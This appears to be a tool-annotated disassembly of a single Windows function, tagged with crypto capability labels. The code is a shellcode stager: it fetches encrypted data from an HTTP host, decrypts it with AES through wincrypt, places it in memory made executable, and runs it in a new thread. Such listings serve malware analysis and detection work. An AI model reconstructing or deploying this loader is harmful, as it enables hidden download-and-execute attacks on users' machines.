Function at 0x140001a2d
Capabilities:
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov qword [rbp + 0xe0], r8
mov dword [rbp + 0xe8], r9d
lea rax, [rbp + 0x87]
mov qword [rbp + 0x88], rax
nop
nop
lea rdx, [rbp + 0x87]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str.http:__192.168.56.101_data.json
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x87]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x60]
mov rcx, rax
call sym.DownloadJSON_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::empty___const
test al, al
je 0x140001ada
lea rax, str.Errore_nel_download_del_JSON_n
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, 1
jmp 0x140001e35
lea rax, [rbp + 0x20]
mov rcx, rax
call fcn.1400040c0
mov rax, rbp
mov rcx, rax
call fcn.1400040c0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400040c0
lea r8, [rbp - 0x20]
mov rcx, rbp
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.ExtractValuesFromJSON_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::vector_unsigned_char__std::allocator_unsigned_char_____std::vector_unsigned_char__std::allocator_unsigned_char_____std::vector_unsigned_char__std::allocator_unsigned_char____
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov dword [rbp + 0xac], eax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x24]
mov eax, eax
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xa0], rax
mov dword [rbp - 0x44], 1
lea rax, [rbp - 0x30]
mov dword [rsp + 0x20], 0
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
call rax
test eax, eax
sete al
test al, al
je 0x140001ba6
mov ebx, 0
jmp 0x140001e12
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x38]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x800c
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
call rax
test eax, eax
sete al
test al, al
je 0x140001be3
mov ebx, 0
jmp 0x140001e12
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp - 0x38]
mov ecx, dword [rbp + 0xac]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptHashData]
call rax
test eax, eax
sete al
test al, al
je 0x140001c23
mov ebx, 0
jmp 0x140001e12
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8, rcx
mov edx, 0x6610
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
call rax
test eax, eax
sete al
test al, al
je 0x140001c61
mov ebx, 0
jmp 0x140001e12
mov rax, qword [rbp - 0x40]
lea rdx, [rbp - 0x44]
mov r9d, 0
mov r8, rdx
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
call rax
test eax, eax
sete al
test al, al
je 0x140001c96
mov ebx, 0
jmp 0x140001e12
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp - 0x40]
mov r9d, 0
mov r8, rdx
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
call rax
test eax, eax
sete al
test al, al
je 0x140001cd6
mov ebx, 0
jmp 0x140001e12
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x24]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
call rax
test eax, eax
sete al
test al, al
je 0x140001d21
mov ebx, 0
jmp 0x140001e12
mov rax, qword [rbp - 0x30]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
call rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call rax
mov eax, dword [rbp - 0x24]
mov ebx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp + 0xa0]
mov r8, rbx
mov rcx, rax
call sym.memmove
mov dword [rbp - 0x48], 0
mov eax, dword [rbp - 0x24]
mov ecx, eax
lea rdx, [rbp - 0x48]
mov rax, qword [rbp + 0xa0]
mov r9, rdx
mov r8d, 0x20
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x9c], eax
cmp dword [rbp + 0x9c], 0
je 0x140001e0d
mov rax, qword [rbp + 0xa0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov ebx, 0
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140001ec2
add rsp, 0x138
pop rbx
pop rbp
ret